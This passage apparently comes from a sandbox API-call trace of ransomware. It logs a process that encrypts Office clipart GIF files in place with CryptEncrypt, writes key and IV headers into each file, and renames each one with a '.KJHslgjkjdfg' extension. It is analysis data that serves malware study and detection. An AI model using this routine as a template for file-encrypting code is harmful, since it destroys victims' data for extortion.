lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1fa1, lpOverlapped=0x0) returned 1 [0153.466] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fb0, dwBufLen=0x1fb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fb0) returned 1 [0153.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.467] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1fb0, lpOverlapped=0x0) returned 1 [0153.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.467] SetEndOfFile (hFile=0x114) returned 1 [0153.470] GetProcessHeap () returned 0x2a0000 [0153.470] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.470] GetProcessHeap () returned 0x2a0000 [0153.470] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.kjhslgjkjdfg")) returned 1 [0153.473] CloseHandle (hObject=0x114) returned 1 [0153.473] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0153.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.473] GetProcessHeap () returned 0x2a0000 [0153.474] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.474] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.474] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.474] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0153.476] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.476] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.476] GetProcessHeap () returned 0x2a0000 [0153.476] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.476] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.476] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.477] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.477] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.477] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.477] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.477] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.477] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e06, lpOverlapped=0x0) returned 1 [0153.478] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e10, dwBufLen=0x1e10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e10) returned 1 [0153.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.479] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e10, lpOverlapped=0x0) returned 1 [0153.479] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.479] SetEndOfFile (hFile=0x114) returned 1 [0153.482] GetProcessHeap () returned 0x2a0000 [0153.482] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.482] GetProcessHeap () returned 0x2a0000 [0153.482] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.kjhslgjkjdfg")) returned 1 [0153.483] CloseHandle (hObject=0x114) returned 1 [0153.483] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0153.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.483] GetProcessHeap () returned 0x2a0000 [0153.483] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.484] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.484] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0153.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.486] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.486] GetProcessHeap () returned 0x2a0000 [0153.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.486] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.486] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.486] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.486] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.486] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.486] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.486] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.487] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.487] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.487] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2e73, lpOverlapped=0x0) returned 1 [0153.488] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e80) returned 1 [0153.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.488] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2e80, lpOverlapped=0x0) returned 1 [0153.488] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.488] SetEndOfFile (hFile=0x114) returned 1 [0153.493] GetProcessHeap () returned 0x2a0000 [0153.493] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.493] GetProcessHeap () returned 0x2a0000 [0153.493] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.kjhslgjkjdfg")) returned 1 [0153.494] CloseHandle (hObject=0x114) returned 1 [0153.494] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0153.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.495] GetProcessHeap () returned 0x2a0000 [0153.495] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.495] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.495] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.495] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0153.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.497] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.497] GetProcessHeap () returned 0x2a0000 [0153.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.497] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.497] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.497] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.497] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.497] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.498] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.498] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.498] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.498] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.498] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x205, lpOverlapped=0x0) returned 1 [0153.498] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x210, dwBufLen=0x210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x210) returned 1 [0153.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.498] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x210, lpOverlapped=0x0) returned 1 [0153.498] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.498] SetEndOfFile (hFile=0x114) returned 1 [0153.502] GetProcessHeap () returned 0x2a0000 [0153.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.502] GetProcessHeap () returned 0x2a0000 [0153.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.kjhslgjkjdfg")) returned 1 [0153.503] CloseHandle (hObject=0x114) returned 1 [0153.503] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0153.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.504] GetProcessHeap () returned 0x2a0000 [0153.504] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.504] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.504] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.504] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0153.506] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.506] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.506] GetProcessHeap () returned 0x2a0000 [0153.506] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.506] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.506] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.506] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.506] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.507] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.507] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.507] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.507] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.507] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.507] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f6, lpOverlapped=0x0) returned 1 [0153.507] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x200, dwBufLen=0x200 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x200) returned 1 [0153.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.507] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x200, lpOverlapped=0x0) returned 1 [0153.507] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.508] SetEndOfFile (hFile=0x114) returned 1 [0153.510] GetProcessHeap () returned 0x2a0000 [0153.510] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.510] GetProcessHeap () returned 0x2a0000 [0153.510] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 